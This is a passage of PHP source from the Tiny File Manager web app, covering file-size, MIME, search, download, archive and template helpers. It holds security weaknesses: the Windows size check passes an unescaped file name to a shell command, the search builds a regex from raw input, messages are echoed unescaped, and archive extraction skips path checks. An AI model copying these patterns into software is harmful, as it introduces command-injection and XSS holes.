/** * @param $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'zip': case 'rar': case 'gz': case 'tar': case '7z': case 'xz': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi', 'yml', 'yaml', 'toml' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return json */ function scan($dir, $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($dir) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /* Parameters: downloadFile(File Location, File Name, max speed, is streaming If streaming - videos will show as videos, images as images instead of download prompt https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } header("Cache-Control: public"); header("Content-Transfer-Encoding: binary\n"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; $size = filesize($fileLocation); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); fseek($fp, $range); while (!feof($fp) and (connection_status() == 0)) { set_time_limit(0); print(@fread($fp, 1024*$chunkSize)); flush(); ob_flush(); // sleep(1); } fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager<br>Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '<br>'; $msg .= '<br>Seems like you have a trailing slash on the URL.'; $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>'; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10); if (is_writable($fm_file)) { $lines = file($fm_file); if ($fh = @fopen($fm_file, "w")) { @fputs($fh, $config_string, strlen($config_string)); for ($x = 3; $x < count($lines); $x++) { @fputs($fh, $lines[$x], strlen($lines[$x])); } @fclose($fh); } } } } //--- templates functions /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { global $lang, $sticky_navbar, $editFile; $isStickyNavBar = $sticky_navbar ? 'fixed-top' : ''; $getTheme = fm_get_theme(); $getTheme .= " navbar-light"; if(FM_THEME == "dark") { $getTheme .= " navbar-dark"; } else { $getTheme .= " bg-white"; } ?> <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>"> <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <?php $path = fm_clean_path($path); $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>"; $sep = '<i class="bread-crumb"> / </i>'; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>"; } $root_url .= $sep . implode($sep, $array); } echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>'; ?> <div class="col-xs-6 col-sm-7 text-right"> <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme(); ?>"> <li class="nav-item mr-2"> <div class="input-group input-group-sm mr-1" style="margin-top:4px;"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon"> <div class="input-group-append"> <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span> </div> <div class="input-group-append btn-group"> <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span> <div class="dropdown-menu dropdown-menu-right"> <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal"><?php echo lng('Advanced Search') ?></a> </div> </div> </div> </li> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a> </li> <li class="nav-item"> <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a> </li> <?php endif; ?> <?php if (FM_USE_AUTH): ?> <li class="nav-item avatar dropdown"> <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a> <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> <?php endif ?> <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a> <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a> </div> </li> <?php else: ?> <?php if (!FM_READONLY): ?> <li class="nav-item"> <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a> </li> <?php endif; ?> <?php endif; ?> </ul> </div> </div> </nav> <?php } /** * Show message from session */ function fm_show_message() { if (isset($_SESSION[FM_SESSION_ID]['message'])) { $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok'; echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>'; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?> <title><?php echo fm_enc(APP_TITLE) ?></title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <style> body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 